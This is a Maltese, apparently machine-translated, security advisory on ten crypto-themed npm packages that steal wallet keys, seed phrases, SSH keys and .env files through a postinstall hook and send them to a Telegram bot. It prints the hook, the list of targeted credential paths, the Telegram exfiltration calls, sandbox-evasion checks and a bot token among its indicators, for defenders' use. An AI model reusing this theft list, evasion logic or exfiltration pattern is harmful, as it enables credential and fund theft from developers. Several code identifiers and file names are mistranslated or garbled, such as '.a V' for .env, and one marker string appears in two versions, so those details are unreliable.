SeedSweep: Għaxar Pakketti Kripto npm Malizzjużi

SeedSweep: Għaxar Pakketti npm bit-Tema tal-Kripto li Jaħdmu Biss Meta Ħadd Ma Jkun Qed Jara

TL; DR

Fid-9 ta' Ġunju 2026 kont wieħed ta' pubblikatur npm, aicrypto-xzggg, mibgħuta għaxar pakketti b'ismijiet bit-togħma tal-kripto u tal-Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, u sitta oħra.

Kull pakkett juża l-istess payload minn a postinstall hook. Mal-installazzjoni, jiċċekkja jekk hux qed jaħdem ġewwa CI jew sandbox — jekk le, jaqra l-keystores tal-kartieri, il-fajls tas-seed-phrase, iċ-ċwievet SSH, u .env fajls minn sitt ekosistemi tal-blockchain u jittrażmettihom lil bot tat-Telegram.

L-uniku indikatur li difensur jista' jfittex immedjatament huwa l-ID tal-bot ta' Telegram. 8227918239.

Severità: kritika — serq dirett ta’ ċwievet tal-iffirmar u frażijiet ta’ rkupru minn workstations tal-iżviluppaturi.

L-Attakk: Kif Jaħdem

Il-pakketti jirreklamaw lilhom infushom bħala utilitajiet għall-iżviluppaturi tal-blockchain. package.json huwa minimu u jindika ċ-ċiklu tal-ħajja tal-installazzjoni lejn skript:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

skripts/postinstallazzjoni.js huwa shim ta' linja waħda li jgħabbi l-payload reali: teħtieġ("../src/index.js"). Minħabba wara l-installazzjoni jaħdem awtomatikament waqt npm jinstallaw, l-ebda importazzjoni ta' kodiċi mill-iżviluppatur mhija meħtieġa — it-tqegħid tal-pakkett f'siġra tad-dipendenza huwa biżżejjed biex jiġi esegwit.

Il-katina tal-qtil ġewwa src/index.js huwa erba' passi:

  1. Kontroll tal-ambjent. Funzjoni ta' gwardja tiddeċiedi jekk il-host jidhirx bħal aġent tal-bini jew sandbox tal-analiżi.
  2. Dewmien. L-eżekuzzjoni hija posposta wara setTimeout ta' madwar 7.4 sekondi.
  3. Ġbir. Lista fissa ta' mogħdijiet ta' fajls tal-kartieri, ċwievet, u sigrieti tiġi mgħoddija; il-fajls eżistenti jitqiegħdu fil-kju.
  4. Esfiltrazzjoni. Il-fajls fil-kju jintbagħtu lil bot ta' Telegram, preċeduti minn messaġġ sommarju.

Il-lista fil-mira tal-kollezzjoni tkopri sitt ktajjen flimkien ma' sigrieti ġeneriċi tal-iżviluppaturi. Imnaddaf:

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Wieħed u għoxrin mogħdija b'kollox. Entrati tad-direttorju bħal ~/.ethereum/maħżen taċ-ċwievet huma estiżi u kull fajl ġewwa jitqiegħed fil-kju. L-esfiltrazzjoni tuża t-Telegram Bot API direttament — a ibgħatMessaġġ sejħa b'sommarju ta' host u fajl, imbagħad ibgħatDokument upload b'ħafna partijiet għal kull fajl:

test

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Il-messaġġ sommarju li jiġbor il-kodiċi jibda bis-sekwenza litterali SERQAL TAL-KRIPTO, segwit mill-isem tal-host, l-isem tal-utent, l-isem tal-pakkett tal-oriġini, l-għadd tal-fajls, u t-timestamp.

X'hemm ġdid hawn

Id-differenzjatur mhuwiex il-mekkaniżmu tas-serq — exfil ibbażat fuq Telegram minn npm wara l-installazzjoni hooks huwa mimsus sew. Huwa l- bieb tal-eżekuzzjoni. Qabel ma tagħmel xi ħaġa, il-payload isejjaħ funzjoni li tirritorna "true" meta l-host jixbah lil CI runner jew sandbox, u tirritorna kmieni meta jkun hekk:

test

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Ir-regex tal-container-id hija l-klawżola notevoli: isem tal-host ta' 12-il karattru eżagonali huwa l-forma awtomatika li Docker jassenja lil kontenitur, għalhekk il-payload tittratta "l-isem tal-host tiegħi jidher qisu kontenitur Docker" bħala raġuni biex tibqa' rieqed. Flimkien mad-dewmien ta' seba' sekondi, id-disinn jiffavorixxi t-tħaddim fuq il-workstation reali ta' żviluppatur u jibqa' kwiet kullimkien li jidher qisu analiżi awtomatizzata. Dak il-bieb huwa dak li rażżan is-sinjali tal-analiżi dinamika u żammet il-fluss statiku tal-esfil bħala l-evidenza primarja tal-konvinzjoni.

Kronoloġija

Data (UTC) avveniment
2026-06-09 ~02:48 L-ewwel pakketti fil-grupp immarkati mal-pubblikazzjoni (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Membri b'verżjoni ogħla mmarkati (ethereum-kit-9 f'1.25.36, wallet-sdk-9 fis-3.7.73)
2026-06-09 ~03:58–03:59 Membri finali mmarkati (defi-tools-39 f'4.26.29, swap-sdk-87 f'4.63.78, farming-tools-12 fis-4.68.54)
2026-06-09 L-għaxar kollha kklassifikati bħala malizzjużi u rrappurtati għat-tneħħija tar-reġistru

L-għaxra kollha ħarġu f'madwar sebgħin minuta, konsistenti ma' ġirja waħda ta' pubblikazzjoni skrittata minn kont wieħed.

Indikaturi ta' Kompromess

Indikaturi tan-netwerk u tal-imġieba (host defanged):

Indikatur valur
Endpoint tal-Exfil api[.]telegram[.]org (API tal-Bot tat-Telegram)
ID tal-bot tat-Telegram 8227918239
Token tal-bot 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
ID taċ-chat tat-Telegram 6433587894
Installa l-ganċ postinstallscripts/postinstall.jssrc/index.js
Sekwenza tal-markaturi CRYPTO STEALER fil-messaġġ sommarju miġbur
Yayımcı,en aicrypto-xzggg (indirizz elettroniku ddikjarat vipsyria88@gmail[.]com, mhux verifikat)

Pakketti u verżjonijiet, kull wieħed bl-SHA-256 tiegħu src/index.js payload (il-payloads huma funzjonalment identiċi u jvarjaw biss fit-tikketta tal-isem tal-pakkett inkorporata, għalhekk kull hash huwa distint):

html
Pakkett verżjoni SHA-256 ta' src/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Mistoqsija sempliċi ta' kaċċa: fittex install logs u lockfiles għal kwalunkwe wieħed mill-għaxar ismijiet, u fittex traffiku 'l barra għal konnessjonijiet mat-Telegram Bot API minn build hosts jew developer hosts li altrimenti ma jużawhiex.

Attribuzzjoni u Imġieba Osservata

L-għaxar pakketti kollha ġew ippubblikati minn kont wieħed, aicrypto-xzggg, li l-email iddikjarata tiegħu hija vipsyria88@gmail[.]comKemm l-email kif ukoll il-link tal-kontroll tas-sors mhumiex verifikati fil-metadata tar-reġistru, u l-kont għandu punteġġ ta' reputazzjoni negattiv ħafna. Ma kkonfermajniex min jopera l-kont.

Żewġ dettalji jistħoqqilhom li jiġu separati minn kwalunkwe talba ta' identità. L-ewwel, il- package.json awtur qari tal-qasam Alex Smith fuq kull pakkett, filwaqt li l-kont tal-pubblikazzjoni attwali huwa aicrypto-xzggg; il-qasam tal-awtur huwa metadata awtodikjarata u ma jistabbilixxix l-awtur. It-tieni, in-numri tal-verżjoni jvarjaw ħafna — xi membri joqogħdu fuq 1.0.0, oħrajn fi 4.68.54 — li huwa konsistenti mal-użu mill-ġdid ta' payload wieħed f'ismijiet ta' pakketti ġodda minflok ma jinżammu l-istorji tar-rilaxxi reali.

L-imġiba hija uniformi fil-klaster kollu: l-istess lista ta' mogħdijiet fil-mira, l-istess id tal-bot ta' Telegram u l-id taċ-chat, l-istess bieb tal-ambjent, l-istess SERQAL TAL-KRIPTO markatur. Dik l-uniformità hija l-aktar rabta b'saħħitha bejn il-pakketti. Huwa sinjal tal-istess operatur, mhux identità.

Impatt, Xejriet u Gwida għad-Difensuri

L-espożizzjoni hija konkreta. Żviluppatur li jinstalla kwalunkwe minn dawn il-pakketti fuq workstation li żżomm software wallet, fajl seed-phrase, jew SSH key ikollu dawk il-fajls jinqraw u jiġu trażmessi mill-host fi ftit sekondi. Il-frażijiet ta' rkupru u ċ-ċwievet tal-iffirmar ma jiskadux bil-mod kif jagħmel session token; ladarba mnemoniku.txt jew Solana id.json titlaq mill-magna, il-fondi li tikkontrolla jkunu f'riskju sakemm jiġu mċaqalqa. L-istess ġirja taqbad ukoll .a V fajls, li normalment iġorru ċwievet tal-API u kredenzjali tad-database.

Żewġ xejriet jinsabu wara dan il-grupp. L-ewwel waħda hija l-użu kontinwu ta' ismijiet bit-tema tal-kripto u tal-Web3 biex jattiraw udjenza speċifika — żviluppaturi li jżommu l-kartieri u ċ-ċwievet fuq l-istess magna li jinstallaw id-dipendenzi fuqha. It-tieni waħda hija l-maturazzjoni tal-evażjoni tas-sandbox fil-payloads tal-ħin tal-installazzjoni. Bieb li jivverifika l-varjabbli tal-ambjent tas-CI, l-usernames tar-runner, u l-forma tal-hostname tal-ID tal-kontenitur Docker huwa sforz intenzjonat biex iġib ruħu b'mod differenti taħt analiżi milli fuq workstation reali, u jgħolli l-livell għal skoperta purament dinamika.

Għad-difensuri:

Installa bl-iskripts diżattivati ​​awtomatikament. npm install –ignore-scripts, jew sett injora-skripts=veru in .npmrc, jipprevjeni wara l-installazzjoni eżekuzzjoni; ippermetti skripts biss għad-dipendenzi speċifiċi li ġenwinament jeħtiġuhom.

Żomm il-kartieri u ċ-ċwievet tal-iffirmar 'il bogħod mill-magni tal-bini u tal-iżvilupp. Uża kartiera tal-ħardwer jew host tal-iffirmar dedikat u ħieles mid-dipendenza.

Ittratta .a V, keystores, u fajls seed-phrase bħala ġojjelli tal-kuruna. Qatt m'għandhom joqogħdu f'direttorju li huwa wkoll npm jinstallaw siġra tax-xogħol.

Fittex għal konnessjonijiet 'il barra lejn it-Telegram Bot API minn CI u hosts tal-iżviluppaturi. Il-biċċa l-kbira tal-ambjenti tal-bini qatt ma jsejħuha; waħda li f'daqqa waħda tagħmel dan, eżatt wara installazzjoni, ta' min jinvestigaha.

Pin u rrevedi d-dipendenzi. Pakkett ġdid fjamant b'isem ġeneriku tal-kripto, a wara l-installazzjoni hook, u l-ebda link ta' repożitorju ma jiġġustifika ħarsa qabel ma jidħol f'lockfile.

Il-klawżola tal-evażjoni tal-ID tal-kontejner hija wkoll tfakkira għall-analisti: payload fil-ħin tal-installazzjoni li jibqa' rieqed f'sandbox mhuwiex beninni, huwa selettiv. Ir-reviżjoni statika tal-mogħdija tal-installazzjoni tibqa' l-mod affidabbli biex tara x'tista' tirrifjuta li turi l-eżekuzzjoni dinamika.

Referenzi

dokumentazzjoni tal-installazzjoni tal-npm — skripts taċ-ċiklu tal-ħajja u –jinjora-skripts— referenza għad-diżattivazzjoni tal-installazzjoni awtomatika hooks. 

sca-tools-software-composition-analysis-tools
Prijoritizza, irranġa, u assigura r-riskji tas-softwer tiegħek
Ikseb il-Kont B'Xejn tiegħek.
Mhix meħtieġa karta ta 'kreditu.

Assigura l-Iżvilupp u l-Kunsinna tas-Softwer tiegħek

bis-Suite tal-Prodotti Xygeni